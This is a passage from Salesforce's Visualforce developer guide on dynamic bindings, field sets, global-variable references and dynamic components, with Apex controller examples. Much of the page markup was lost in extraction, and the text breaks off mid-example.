StandardController documentation. Dynamic References to Related Objects This example creates a Visualforce page for a case record, with certain fields that are editable. Some of the fields displayed are from a related object, showing how you can use dynamic references to traverse relationships. 139 Dynamic Visualforce Bindings Using Dynamic References with Standard Objects First, create an Apex controller extension called DynamicCaseLoader: public class DynamicCaseLoader { public final Case caseDetails { get; private set; } // SOQL query loads the case, with Case fields and related Contact fields public DynamicCaseLoader(ApexPages.StandardController controller) { String qid = ApexPages.currentPage().getParameters().get('id'); String theQuery = 'SELECT Id, ' + joinList(caseFieldList, ', ') + ' FROM Case WHERE Id = :qid'; this.caseDetails = Database.query(theQuery); } // A list of fields to show on the Visualforce page public List caseFieldList { get { if (caseFieldList == null) { caseFieldList = new List(); caseFieldList.add('CaseNumber'); caseFieldList.add('Origin'); caseFieldList.add('Status'); caseFieldList.add('Contact.Name'); // related field caseFieldList.add('Contact.Email'); // related field caseFieldList.add('Contact.Phone'); // related field } return caseFieldList; } private set; } // Join an Apex list of fields into a SELECT fields list string private static String joinList(List theList, String separator) { if (theList == null) { return null; } if (separator == null) { separator = ''; } String joined = ''; Boolean firstItem = true; for (String item : theList) { if(null != item) { if(firstItem){ firstItem = false; } else { joined += separator; } joined += item; } } return joined; } } The corresponding page, DynamicCaseEditor, uses this extension to retrieve information about a particular case and its associated contact:
140 Dynamic Visualforce Bindings Using Dynamic References with Standard Objects

{!cf}




Access this page with the ID of a valid case record specified as the id query parameter. For example, https://Salesforce_instance/apex/DynamicCaseEditor?id=500D0000003ZtPy. Your page will display a form similar to this one: There are a number of things to note about this example: • • • • In the controller extension, the constructor performs its own SOQL query for the object to display. Here it’s because the page’s StandardController doesn’t load related fields by default, but there are many different use cases for needing a customized SOQL query. The query result is made available to the page through the property caseFieldList. There’s no requirement to perform the query in the constructor—it can just as easily be in the property’s get method. The SOQL query specifies the fields to load, so it’s not necessary to use addFields() which was needed in A Simple Dynamic Form. The SOQL query is constructed at run time. A utility method converts the list of field names into a string suitable for use in a SOQL SELECT statement. In the markup, the form fields are displayed by iterating through the field names using , and using the field name variable cf in a dynamic reference to get the field value. Each field is potentially written by two components— and . The render attribute on these tags controls which of the two actually displays: if the field name contains the string “Contact,” then the information is rendered in an tag, and if it doesn’t, it’s rendered in an . Using Dynamic References for a User-Customizable Page The full potential of Visualforce dynamic bindings is in building pages without knowing which fields are available on an object. The following example demonstrates this capability with a list of accounts that can be customized without knowing any of the fields on the Account object, except for the Name field required on all objects. This is made possible by using the Schema.SobjectType.Account.fields.getMap() to retrieve the list of fields that exist on the object, and Visualforce dynamic references. 141 Dynamic Visualforce Bindings Using Dynamic References with Standard Objects The functionality provided by this example is simple. The main list view initially displays only the account name, but a Customize List button allows the user to select which fields they’d like to add to the list. When they save their preferences, they return to the list view and will see a dynamically generated Visualforce page that presents those fields in additional columns. Note: You can also build a page without knowing the fields using dynamic references with Field Sets on page 151. First, create a controller extension called DynamicCustomizableListHandler: public class DynamicCustomizableListHandler { // Resources we need to hold on to across requests private ApexPages.StandardSetController controller; private PageReference savePage; // This private private private is the state for the list "app" Set unSelectedNames = new Set(); Set selectedNames = new Set(); Set inaccessibleNames = new Set(); public DynamicCustomizableListHandler(ApexPages.StandardSetController controller) { this.controller = controller; loadFieldsWithVisibility(); } // Initial load of the fields lists private void loadFieldsWithVisibility() { Map fields = Schema.SobjectType.Account.fields.getMap(); for (String s : fields.keySet()) { if (s != 'Name') { // name is always displayed unSelectedNames.add(s); } if (!fields.get(s).getDescribe().isAccessible()) { inaccessibleNames.add(s); } } } // The fields to show in the list // This is what we generate the dynamic references from public List getDisplayFields() { List displayFields = new List(selectedNames); displayFields.sort(); return displayFields; } // Nav: go to customize screen public PageReference customize() { savePage = ApexPages.currentPage(); return Page.CustomizeDynamicList; } // Nav: return to list view public PageReference show() { // This forces a re-query with the new fields list controller.reset(); controller.addFields(getDisplayFields()); return savePage; } // Create the select options for the two select lists on the page public List getSelectedOptions() { return selectOptionsFromSet(selectedNames); 142 Dynamic Visualforce Bindings Using Dynamic References with Standard Objects } public List getUnSelectedOptions() { return selectOptionsFromSet(unSelectedNames); } private List selectOptionsFromSet(Set opts) { List optionsList = new List(opts); optionsList.sort(); List options = new List(); for (String s : optionsList) { options.add(new SelectOption(s, decorateName(s), inaccessibleNames.contains(s))); } return options; } private String decorateName(String s) { return inaccessibleNames.contains(s) ? '*' + s : s; } // These properties receive the customization form postback data // Each time the [<<] or [>>] button is clicked, these get the contents // of the respective selection lists from the form public transient List selected { get; set; } public transient List unselected { get; set; } // Handle the actual button clicks. Page gets updated via a // rerender on the form public void doAdd() { moveFields(selected, selectedNames, unSelectedNames); } public void doRemove() { moveFields(unselected, unSelectedNames, selectedNames); } private void moveFields(List items, Set moveTo, Set removeFrom) { for (String s: items) { if( ! inaccessibleNames.contains(s)) { moveTo.add(s); removeFrom.remove(s); } } } } Note: When you save the class, you may be prompted about a missing Visualforce page. This is because of the page reference in the customize() method. Click the “quick fix” link to create the page—Visualforce markup from a later block of code will be pasted into it. Some things to note about this class: • • • The standard controller methods addFields() and reset() are used in the show() method, which is the method that returns back to the list view. They are necessary because the list of fields to display may have changed, and so the query that loads data for display needs to be re-executed. Two action methods, customize() and show(), navigate from the list view to the customization form and back again. Everything after the navigation action methods deals with the customization form. These methods are broadly broken into two groups, noted in the comments. The first group provides the List lists used by the customization form, and the second group handles the two buttons that move items from one list to the other. 143 Dynamic Visualforce Bindings Using Dynamic References with Standard Objects Now, create a Visualforce page called DynamicCustomizableList with the following markup:

This page presents a list of accounts in your organization. The at the top provides a standard drop-down list of the views defined for accounts, the same views users see on standard Salesforce account pages. This view widget uses methods provided by the StandardSetController. The second holds a that has columns added in a . All columns in the repeat component use a dynamic reference to account fields, {!acct[f]}, to display the user’s custom-selected fields. The last piece to this mini app is the customization form. Create a page called CustomizeDynamicList. You may have already created this page, when creating the controller extension. Paste in the following:

Note: Fields marked * are inaccessible to your account

This simple preferences page presents two lists, and the user moves fields from the list of available fields on the left to the list of fields to display on the right. Clicking Show These Fields returns to the list itself. Here are a few things to note about this markup: • • • This page uses the same standard controller as the list view, even though no accounts are being displayed. This is required to maintain the view state, which contains the list of fields to display. If this form saved the user’s preferences to something permanent, like a custom setting, this wouldn’t be necessary. The first list is populated by a call to the getUnSelectedOptions() method, and when the form is submitted (via either of the two components), the values in the list that are selected at time of form submission are saved into the selected property. Corresponding code handles the other list. These “delta” lists of fields to move are processed by the doAdd() or doRemove() method, depending on which button was clicked. When you assemble the controller extension and these pages, and navigate to /apex/DynamicCustomizableList in your organization, you’ll see a sequence similar to the following: 1. View the customizable list in the default state, with only the account name field displayed. Click Customize List. 2. The display preferences screen is shown. 145 Dynamic Visualforce Bindings Using Dynamic References with Custom Objects and Packages Move some fields into the list on the right, and click Show These Fields. 3. The customized list view is displayed. Using Dynamic References with Custom Objects and Packages Package developers can use dynamic Visualforce binding to list only the fields a user can access. This situation might occur when you’re developing a managed package with a Visualforce page that displays fields on an object. Since the package developer doesn’t know which fields a subscriber can access, he or she can define a dynamic page that renders differently for each subscriber. The following example uses a custom object packaged with a page layout using a Visualforce page to demonstrate how different subscribing users view the same page. 1. Create a custom object called Book with the following fields and data types: • • • • • Title: Text(255) Author: Text(255) ISBN: Text(13) Price: Currency(4, 2) Publisher: Text(255) By default creating a new custom object will create a layout for that object. Call the layout Book Layout. 146 Dynamic Visualforce Bindings Using Dynamic References with Custom Objects and Packages 2. Modify the layout so it displays the custom fields above and removes the standard fields such as Created By, Last Modified By, Owner, and Name. 3. Create a new custom object tab. Set the object to Book, and the tab style to Books. 4. Switch to the Book tab and create a few Book objects. For this tutorial, the data inside the fields doesn’t actually matter. 5. Create a controller extension called bookExtension with the following code: public with sharing class bookExtension { private ApexPages.StandardController controller; private Set bookFields = new Set(); public bookExtension (ApexPages.StandardController controller) { this.controller = controller; Map fields = Schema.SobjectType.Book__c.fields.getMap(); for (String s : fields.keySet()) { // Only include accessible fields if (fields.get(s).getDescribe().isAccessible() && fields.get(s).getDescribe().isCustom()) { bookFields.add(s); } } } public List availableFields { get { controller.reset(); controller.addFields(new List(bookFields)); return new List(bookFields); } } } 6. Create a Visualforce page called booksView that uses the controller extension to show the values of the Book object:




7. Since the controller extension is going to be packaged, you’ll need to create a test for the Apex class. Create an Apex class called bookExtensionTest with this basic code to get you started: public with sharing class bookExtension { private ApexPages.StandardController controller; private Set bookFields = new Set(); public bookExtension (ApexPages.StandardController controller) { 147 Dynamic Visualforce Bindings Referencing Apex Maps and Lists this.controller = controller; Map fields = Schema.SobjectType.Book__c.fields.getMap(); for (String s : fields.keySet()) { // Only include accessible fields if (fields.get(s).getDescribe().isAccessible() && fields.get(s).getDescribe().isCustom()) { bookFields.add(s); } } controller.addFields(new List(bookFields)); } public List availableFields { get { controller.reset(); controller.addFields(new List(bookFields)); return new List(bookFields); } } } Note: This Apex test is only meant to be a sample. When creating tests that are included into packages, validate all behavior, including positive and negative results. 8. Create a package called bookBundle, and add the custom object, the Visualforce page, and the bookExtensionTest Apex class. The other referenced elements are included automatically. 9. Install the bookBundle package into a subscriber organization. 10. After the package is installed, click Your Name > Setup > Create > Objects, then click Book. Add a new field called Rating. 11. Create a new Book object. Again, the values for the record don’t actually matter. 12. Navigate to the booksView page with the package namespace and book ID appended to the URL. For example, if GBOOK is the namespace, and a00D0000008e7t4 is the book ID, the resulting URL should be https://Salesforce_instance/apex/GBOOK__booksView?id=001D000000CDt53. When the page is viewed from the subscribing organization, it should include all the packaged Book fields, plus the newly created Rating field. Different users and organizations can continue to add whatever fields they want, and the dynamic Visualforce page will adapt and show as appropriate. Referencing Apex Maps and Lists Visualforce pages that use dynamic bindings can reference the Apex Map and List data types in their markup. For example, if an Apex List is defined as follows: public List people { get { return new List{'Winston', 'Julia', 'Brien'}; } set; } public List iter { get { 148 Dynamic Visualforce Bindings Referencing Apex Maps and Lists return new List{0, 1, 2}; } set; } It can be accessed in a Visualforce page like this:
Similarly, if you have the following Apex Map: public Map directors { get { return new Map { 'Kieslowski' => 'Poland', 'del Toro' => 'Mexico', 'Gondry' => 'France' }; } set; } Your Visualforce page can show the values like this: -
Use dynamic references to lists and maps in an tag to create forms using data that isn’t in your organization’s custom objects. Working with a single map can be much simpler than creating a series of instance variables in an Apex controller or creating a custom object just for the form data. Here’s a Visualforce page that uses a map to hold form data for processing by a custom controller: :
And here’s a simple controller that works with the form: public class ListsMapsController { public Map inputFields { get; set; } 149 Dynamic Visualforce Bindings Referencing Apex Maps and Lists public ListsMapsController() { inputFields = new Map { 'firstName' => 'Jonny', 'lastName' => 'Appleseed', 'age' => '42' }; } public PageReference submitFieldData() { doSomethingInterestingWithInput(); return null; } public void doSomethingInterestingWithInput() { inputFields.put('age', (Integer.valueOf(inputFields.get('age')) + 10).format()); } } A Map can contain references to sObjects or sObject fields. To update those items, reference a field name in the input field: public with sharing class MapAccCont { Map mapToAccount = new Map(); public MapAccCont() { Integer i = 0; for (Account a : [SELECT Id, Name FROM Account LIMIT 10]) { mapToAccount.put(i, a); i++; } } public Map getMapToAccount() { return mapToAccount; } } Unresolved Dynamic References Keep in mind the following issues that can arise at run time if a dynamic reference doesn’t resolve: • If there isn’t a value mapped to a particular key, the Visualforce page returns an error message. For example, with this controller: public class ToolController { public Map toolMap { get; set; } public String myKey { get; set; } public ToolController() { Map toolsMap = new Map(); toolsMap.put('Stapler', 'Keeps things organized'); } } This page causes an error at run time: 150 Dynamic Visualforce Bindings Working with Field Sets • If the key is null, the Visualforce page renders an empty string. For example, using the same controller as above, this page shows an empty space: Working with Field Sets Note: This release contains a beta version of field sets that is production-quality but has known limitations. You can use dynamic bindings to display field sets on your Visualforce pages. A field set is a grouping of fields. For example, you could have a field set that contains fields describing a user's first name, middle name, last name, and business title. If the page is added to a managed package, administrators can add, remove, or reorder fields in a field set to modify the fields presented on the Visualforce page without modifying any code. Field sets are available for Visualforce pages on API version 21.0 or above. You can have up to 50 field sets referenced on a single page. Working with Field Sets Using Visualforce Field sets can be directly referenced in Visualforce by combining the $ObjectType global variable with the keyword FieldSets. For example, if your Contact object has a field set called properNames that displays three fields, your Visualforce page can reference the field data through the following iteration:
You can also choose to render additional information, such as field labels and data types, through the following special properties on the fields in the field set: Property Name Description DBRequired Indicates whether the field is required for the object FieldPath Lists the field’s spanning info Label The UI label for the field Required Indicates whether the field is required in the field set Type The data type for the field 151 Dynamic Visualforce Bindings Working with Field Sets For example, you can access the labels and data types for the fields in properNames like this: Name Label Data Type If this Visualforce page is added to a managed package and distributed, subscribers can edit the properNames field set. The logic for generating the Visualforce page remains the same, while the presentation differs based on each subscriber’s implementation. To reference a field set from a managed package, you must prepend the field set with the organization’s namespace. Using the markup above, if properNames comes from an organization called Spectre, the field set is referenced like this: {!$ObjectType.Contact.FieldSets.Spectre__properNames} Working with Field Sets Using Apex Fields in a field set are automatically loaded when your Visualforce page uses a standard controller. When using a custom controller, you need to add the required fields to the SOQL query for the page. Apex provides two Schema objects that allow you to discover field sets and the fields they contain, Schema.FieldSet and Schema.FieldSetMember. For information about these two system classes, see “Schema.FieldSet Methods” in the Force.com Apex Code Developer's Guide. Sample: Displaying a Field Set on a Visualforce Page This sample uses Schema.FieldSet and Schema.FieldSetMember methods to dynamically get all the fields in the Dimensions field set for the Merchandise custom object. The list of fields is then used to construct a SOQL query that ensures those fields are available for display. The Visualforce page uses the MerchandiseDetails class as its controller. public class MerchandiseDetails { public Merchandise__c merch { get; set; } public MerchandiseDetails() { this.merch = getMerchandise(); } public List getFields() { return SObjectType.Merchandise__c.FieldSets.Dimensions.getFields(); } private Merchandise__c getMerchandise() { String query = 'SELECT '; for(Schema.FieldSetMember f : this.getFields()) { query += f.getFieldPath() + ', '; } query += 'Id, Name FROM Merchandise__c LIMIT 1'; return Database.query(query); } } 152 Dynamic Visualforce Bindings Dynamic References to Global Variables The Visualforce page using the above controller is simple: One thing to note about the above markup is the expression used to determine if a field on the form should be indicated as being a required field. A field in a field set can be required by either the field set definition, or the field’s own definition. The expression handles both cases. Field Set Considerations Fields added to a field set can be in one of two categories: • • If a field is marked as Available for the Field Set, it exists in the field set, but the developer hasn’t presented it on the packaged Visualforce page. Administrators can display the field after the field set is deployed by moving it from the Available column to the In the Field Set column. If a field is marked as In the Field Set, the developer has rendered the field on the packaged Visualforce page by default. Administrators can remove the field from the page after the field set is deployed by removing it from the In the Field Set column. The order in which a developer lists displayed fields determines their order of appearance on a Visualforce page. As a package developer, keep the following best practices in mind: • • Subscribers with installed field sets can add fields that your page didn’t account for. There is no way to conditionally omit some fields from a field set iteration, so make sure that any field rendered through your field set works for all field types. We recommend that you add only non-essential fields to your field set. This ensures that even if a subscriber removes all fields in the field set, Visualforce pages that use that field set still function. Note: Field sets are available for Visualforce pages on API version 21.0 or above. Dynamic References to Global Variables Visualforce pages can use dynamic bindings to reference global variables in their markup. Global variables allow you to access information about the current user, your organization, and schema details about your data. The list of global variables is available in the Global Variables, Functions, and Expression Operators appendix. 153 Dynamic Visualforce Bindings Dynamic References to Global Variables Dynamic References to Static Resources Referencing a global variable is the same as referencing sObjects and Apex classes—you use the same basic pattern, where reference is a global variable: reference[expression] A very simple example of actual use on a page would be , where you have a getCustomLogo method that returns the name of an image uploaded as a static resource. Dynamic references to static resources can be very useful for providing support for themes or other visual preferences. The next example illustrates rudimentary support for switching between two different visual themes. First, create a controller extension named ThemeHandler with the following code: public class ThemeHandler { public ThemeHandler(ApexPages.StandardController controller) { } public static Set getAvailableThemes() { // You must have at least one uploaded static resource // or this code will fail. List their names here. return(new Set {'Theme_Color', 'Theme_BW'}); } public static List getThemeOptions() { List themeOptions = new List(); for(String themeName : getAvailableThemes()) { themeOptions.add(new SelectOption(themeName, themeName)); } return themeOptions; } public String selectedTheme { get { if(null == selectedTheme) { // Ensure we always have a theme List themeList = new List(); themeList.addAll(getAvailableThemes()); selectedTheme = themeList[0]; } return selectedTheme; } set { if(getAvailableThemes().contains(value)) { selectedTheme = value; } } } } Notes about this class: • • • It has an empty constructor, because there’s no default constructor for controller extensions. Add the name of your uploaded static resource files theme to the getAvailableThemes method. Using Static Resources on page 127 provides details of how to create and upload static resources, in particular, zipped archives containing multiple files. The last two methods provide the list of themes and the selected theme for use in the Visualforce form components. Now create a Visualforce page that will use this controller extension: 154 Dynamic Visualforce Bindings Dynamic References to Global Variables

Theme Viewer

You can select a theme to use while browsing this site.

This is a Sub-Heading

This is standard body copy. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque neque arcu, pellentesque in vehicula vitae, dictum id dolor. Cras viverra consequat neque eu gravida. Morbi hendrerit lobortis mauris, id sollicitudin dui rhoncus nec.

Note the following about this markup: • • • • The page uses the Account standard controller, but has nothing to do with accounts. You have to specify a controller to use a controller extension. The first contains the theme selection widget. Using , changes to the selection menu re-render the whole . This is so that the tag gets the updated selectedTheme for its dynamic reference. The theme preference selected here is only preserved in the view state for the controller, but you could easily save it to a custom setting instead, and make it permanent. The zip files that contain the graphics and style assets for each theme need to have a consistent structure and content. That is. there needs to be an images/logo.png in each theme zip file, and so on. There are only two dynamic references to the $Resource global variable on this page, but they show how to access both stylesheet and graphic assets. You could use a dynamic reference in every tag on a page and completely change the look and feel. $Label and $Setup are similar to $Resource, in that they allow you to access text values or saved settings that your organization administrator or users themselves can set in Salesforce: • Custom labels allow you to create text messages that can be consistently used throughout your application. Label text can also be translated and automatically displayed in a user’s default language. To learn more about how to use custom labels see “Custom Labels Overview” in the online help. 155 Dynamic Visualforce Bindings Dynamic References to Global Variables Custom settings allow you to create settings for your application, which can be updated by administrators or by users themselves. They can also be hierarchical, so that user-level settings override role- or organization-level settings. To learn more about how to use custom settings see “Custom Settings Overview” in the online help. • Dynamic References to Action Methods The $Action global variable allows you to dynamically reference valid actions on an object type, or on a specific record. The most likely way to make use of this is to create a URL to perform that action. For example, you can use the expression {!URLFOR($Action[objectName].New)} in an , with a controller method getObjectName() that provides the name of the sObject. Here’s an example that does exactly that. The controller extension queries the system to learn the names of all the custom objects accessible to the user, and presents a list of them, along with links to create a new record. First, create a controller extension named DynamicActionsHandler: public with sharing class DynamicActionsHandler { public List customObjectDetails { get; private set; } public DynamicActionsHandler(ApexPages.StandardController cont) { this.loadCustomObjects(); } public void loadCustomObjects() { List cObjects = new List(); // Schema.getGlobalDescribe() returns lightweight tokens with minimal metadata Map gd = Schema.getGlobalDescribe(); for(String obj : gd.keySet()) { if(obj.endsWith('__c')) { // Get the full metadata details only for custom items Schema.DescribeSObjectResult objD = gd.get(obj).getDescribe(); if( ! objD.isCustomSetting()) { // Save details for custom objects, not custom settings CustomObjectDetails objDetails = new CustomObjectDetails( obj, objD.getLabel(), objD.isCreateable()); cObjects.add(objDetails); } } } cObjects.sort(); this.customObjectDetails = cObjects; } public class CustomObjectDetails implements Comparable { public String nameStr { get; set; } public String labelStr { get; set; } public Boolean creatable { get; set; } public CustomObjectDetails(String aName, String aLabel, Boolean isCreatable) { this.nameStr = aName; this.labelStr = aLabel; this.creatable = isCreatable; } public Integer compareTo(Object objToCompare) { CustomObjectDetails cod = (CustomObjectDetails)objToCompare; return(this.nameStr.compareTo(cod.nameStr)); } } } There are a few things of interest in this extension: 156 Dynamic Visualforce Bindings • • • • Dynamic References to Global Variables The loadCustomObjects method uses Apex schema methods to get metadata information about available custom objects. The Schema.getGlobalDescribe method is a lightweight operation to get a small set of metadata about available objects and custom settings. The method scans the collection looking for items with names that end in “__c”, which indicates they are custom objects or settings. These items are more deeply inspected using getDescribe, and selected metadata is saved for the custom objects. Using if(obj.endsWith('__c')) to test whether an item is a custom object or not may feel like a “hack”, but the alternative is to call obj.getDescribe().isCustom(), which is expensive, and there is a governor limit on the number of calls to getDescribe. Scanning for the “__c” string as a first pass on a potentially long list of objects is more efficient. This metadata is saved in an inner class, CustomObjectDetails, which functions as a simple structured container for the fields to be saved. CustomObjectDetails implements the Comparable interface, which makes it possible to sort a list of custom objects details by an attribute of each object, in this case, the custom object’s name. Now create a Visualforce page with the following markup:
Custom Object Actions [Create]
[List]
On a page that hasn’t been assigned a specific record, the only two useful actions available are New and List. On a page that queries for a record, the $Action global variable provides methods such as View, Clone, Edit, and Delete. Certain standard objects have additional actions that make sense for their data types. Dynamic References to Schema Details The $ObjectType global variable provides access to a variety of schema information about the objects in your organization. Use it to reference names, labels, and data types of fields on an object, for example. $ObjectType is a “deep” global variable, and offers the opportunity to use it in a “double dynamic” reference, like so: $ObjectType[sObjectName].fields[fieldName].Type Here’s an example that uses dynamic globals to provide a general object viewer. First, create a new controller (not extension) named DynamicObjectHandler: public class DynamicObjectHandler { // This class acts as a controller for the DynamicObjectViewer component private String objType; private List accessibleFields; public sObject obj { 157 Dynamic Visualforce Bindings Dynamic References to Global Variables get; set { setObjectType(value); discoverAccessibleFields(value); obj = reloadObjectWithAllFieldData(); } } // The sObject type as a string public String getObjectType() { return(this.objType); } public String setObjectType(sObject newObj) { this.objType = newObj.getSObjectType().getDescribe().getName(); return(this.objType); } // List of accessible fields on the sObject public List getAccessibleFields() { return(this.accessibleFields); } private void discoverAccessibleFields(sObject newObj) { this.accessibleFields = new List(); Map fields = newObj.getSObjectType().getDescribe().fields.getMap(); for (String s : fields.keySet()) { if ((s != 'Name') && (fields.get(s).getDescribe().isAccessible())) { this.accessibleFields.add(s); } } } private sObject reloadObjectWithAllFieldData() { String qid = ApexPages.currentPage().getParameters().get('id'); String theQuery = 'SELECT ' + joinList(getAccessibleFields(), ', ') + ' FROM ' + getObjectType() + ' WHERE Id = :qid'; return(Database.query(theQuery)); } // Join an Apex List of fields into a SELECT fields list string private static String joinList(List theList, String separator) { if (theList == null) { return null; } if (separator == null) { separator = ''; } String joined = ''; Boolean firstItem = true; for (String item : theList) { if(null != item) { if(firstItem){ firstItem = false; } else { joined += separator; } joined += item; } } return joined; } } There’s a number of things that are worth noting in this controller: • Visualforce components can’t use controller extensions, so this class is written as a controller instead. There is no constructor defined, so the class uses the default constructor. 158 Dynamic Visualforce Bindings • • Dynamic References to Global Variables The metadata that the controller wants to collect all depends on having an object to collect it on. This is another reason there is no constructor, Visualforce constructors can’t take arguments so there is no way to know what the object of interest is at the time of instantiation. Instead, the metadata discovery is triggered by the setting of the public property obj. Several of the methods in this class use system schema discovery methods, in slightly new ways from prior examples. The next piece is a Visualforce component that displays schema information about an object, as well as the specific values of the record that is queried for. Create a new Visualforce component named DynamicObjectViewer with the following code: Label API Name Type Value Notice the following: • • • • Any page which uses this component needs to look up a record, using the standard controller for that object, and by specifying the Id of the record in the URL. For example, https:///apex/DynamicContactPage?id=003D000000Q5GHE. The selected record is immediately passed into the component’s obj attribute. This is the parameter that is used for all of the object metadata discovery. The three double dynamic references, which start with $ObjectType[objectType].fields[f], display the metadata for each field, while the normal dynamic reference displays the actual value of the field. For the data value, the value is {!obj[f]}, using a getter method in the controller, not the perhaps more natural {!rec[f]}, which is the parameter to the component. The reason is simple, the obj attribute has been updated to load 159 Dynamic Visualforce Bindings Dynamic References to Global Variables data for all of the fields, while rec has remained unchanged from what was loaded by the standard controller, and so only has the Id field loaded. Finally, the new component can be used to create any number of simple Visualforce pages that use the component to display a record detail and schema info page, such as these two pages: 160 Chapter 13 Dynamic Visualforce Components Visualforce is primarily intended to be a static, markup-driven language that lets developers create a user interface that matches the Salesforce look-and-feel. However, there are occasions when it is necessary to programmatically create a page. Usually, this is to achieve complicated user interface behavior that is difficult or impossible with standard markup. Dynamic Visualforce components offer a way to create Visualforce pages that vary the content or arrangement of the component tree according to a variety of states, such as a user’s permissions or actions, user or organization preferences, the data being displayed, and so on. Rather than using standard markup, dynamic Visualforce components are designed in Apex. A dynamic Visualforce component is defined in Apex like this: Component.Component_namespace.Component_name For example, becomes Component.Apex.DataTable. Note: The Standard Component Reference contains the dynamic representation for all valid Visualforce components. Visualforce components that are dynamically represented in Apex behave like regular classes. Every attribute that exists on a standard Visualforce component is available as a property in the corresponding Apex representation with get and set methods. For example, you could manipulate the value attribute on an component as follows: Component.Apex.OutputText outText = new Component.Apex.OutputText(); outText.value = 'Some dynamic output text.'; Consider using dynamic Visualforce components in the following scenarios: • • You can use dynamic Visualforce components inside complex control logic to assemble components in combinations that would be challenging or impossible to create using equivalent standard Visualforce. For example, with standard Visualforce components, you typically control the visibility of components using the rendered attribute with the global IF() formula function. By writing your control logic in Apex, you can choose to display components dynamically with a more natural mechanism. If you know that you’ll be iterating over objects with certain fields, but not specifically which objects, dynamic Visualforce components can “plug in” the object representation by using a generic sObject reference. For more information, see Example Using a Related List on page 165. Warning: Dynamic Visualforce components are not intended to be the primary way to create new Visualforce pages in your organization. Existing Visualforce pages shouldn’t be rewritten in a dynamic manner and, for most use cases, standard Visualforce components are acceptable and preferred. You should only use dynamic Visualforce components when the page must adapt itself to user state or actions in ways that can’t be elegantly coded into static markup. 161 Dynamic Visualforce Components Dynamic Components Restrictions Dynamic Components Restrictions Not every feature of Visualforce makes sense in a dynamic context, so some components are not available dynamically. This section describes some limitations of dynamic Visualforce components. • The following standard Visualforce components don’t have corresponding dynamic representations in Apex: ◊ ◊ ◊ ◊ ◊ ◊ ◊ ◊ ◊ ◊ • • • If a dynamic Visualforce component refers to a specific sObject field, and that field is later deleted, the Apex code for that field reference will still compile, but the page will fail when it is viewed. Also, you can create references to global variables such as $Setup or $Label, and then delete the referenced item, with similar results. Please verify such pages continue to work as expected. Dynamic Visualforce pages and expressions check attribute types more strictly than static pages. You can’t set “pass-through” HTML attributes on dynamic components. Creating and Displaying Dynamic Components Note: The examples in this section are deliberately simple for instructional purposes. For a full example of when you might benefit from dynamic Visualforce components, see Example Using a Related List on page 165. There are two parts to embedding dynamic Visualforce components on your page: 1. Adding an tag somewhere on your page. This tag acts as a placeholder for your dynamic component. 2. Developing a dynamic Visualforce component in your controller or controller extension. The tag has one required attribute—componentValue—that accepts the name of an Apex method that returns a dynamic component. For example, if you wanted to dynamically generate the title of a section header differently if the deadline for a submitting form has passed, you could use the following markup and controller code: 162 Dynamic Visualforce Components Creating and Displaying Dynamic Components public class DynamicComponentExample { public DynamicComponentExample(ApexPages.StandardController con) { } public Component.Apex.SectionHeader getHeaderWithDueDateCheck() { date dueDate = date.newInstance(2011, 7, 4); boolean overdue = date.today().daysBetween(dueDate) < 0; Component.Apex.SectionHeader sectionHeader = new Component.Apex.SectionHeader(); if (overdue) { sectionHeader.title = 'This Form Was Due On ' + dueDate.format() + '!'; return sectionHeader; } else { sectionHeader.title = 'Form Submission'; return sectionHeader; } } } You can have multiple components on a single page. Each dynamic component has access to a common set of methods and properties. You can review this list in the Apex Developer's Guide in the chapter titled “Dynamic Component Methods and Properties”. Dynamic Custom Components Using custom components dynamically works exactly the same as the standard Visualforce components. Just change the namespace to that of the custom component. Your custom components are in the c namespace, so you can create one dynamically like this: Component.c.MyCustomComponent myDy = new Component.c.MyCustomComponent(); As a convenience for your own components, you can omit the namespace, like so: Component.MyCustomComponent myDy = new Component.MyCustomComponent(); If you are using components provided by a third party in a package, use the namespace of the package provider: Component.TheirName.UsefulComponent usefulC = new Component.TheirName.UsefulComponent(); Passing Attributes through the Constructor Instead of setting component attributes via their properties, you can simply pass in a list of one or more attributes through the constructor: Component.Apex.DataList dynDataList = new Component.Apex.DataList(id='myDataList', rendered=true); If an attribute is not defined in the constructor, the component's default values are used for that attribute. There are two components that must have an attribute defined in the constructor, rather than through a property: • Component.Apex.Detail must have showChatter=true passed to its constructor if you want to display the Chatter • information and controls for a record. Otherwise, this attribute is always false. Component.Apex.SelectList must have multiSelect=true passed to its constructor if you want the user to be able to select more than one option at a time. Otherwise, this value is always false. 163 Dynamic Visualforce Components Creating and Displaying Dynamic Components These values are Booleans, not Strings; you don't need to enclose them in single quote marks. Warning: You can’t pass attributes through the class constructor if the attribute name matches an Apex keyword. For example, Component.Apex.RelatedList can’t pass list through the constructor, because List is a reserved keyword. Similarly, Component.Apex.OutputLabel can’t define the for attribute in the constructor, because it’s also a keyword. Defining Expressions and Arbitrary HTML You can add expression language statements with the expressions property. Append expressions before a property name to pass in an expression statement. As in static markup, expressions must be wrapped with the {! } syntax. Here’s an example: Component.Apex.Detail detail = new Component.Apex.Detail(); detail.expressions.subject = '{!Account.ownerId}'; detail.relatedList = false; detail.title = false; Valid expressions include those that refer to fields on standard and custom objects. Global variables and functions are also available, as demonstrated in this example: Component.Apex.OutputText head1 = new Component.Apex.OutputText(); head1.expressions.value = '{!IF(CONTAINS($User.FirstName, "John"), "Hello John", "Hey, you!")}'; Passing in values through expressions is valid only for attributes that support them. Using {! } outside of the expressions property will be interpreted literally, not as an expression. If you want to include plain HTML, you can do so by setting the escape property on Component.Apex.OutputText to false: Component.Apex.OutputText head1 = new Component.Apex.OutputText(); head1.escape = false; head1.value = '

This header contains HTML

